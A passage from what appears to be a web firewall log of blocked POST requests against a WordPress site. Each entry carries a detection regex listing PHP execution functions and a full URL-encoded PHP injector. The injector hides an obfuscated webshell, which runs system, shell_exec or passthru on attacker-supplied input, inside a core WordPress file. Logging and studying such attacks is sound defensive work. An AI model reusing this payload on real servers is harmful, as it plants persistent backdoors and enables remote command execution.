m4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:56","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoxVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6037\n\nnB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:59","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrIVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6037\n\nyR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:01","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 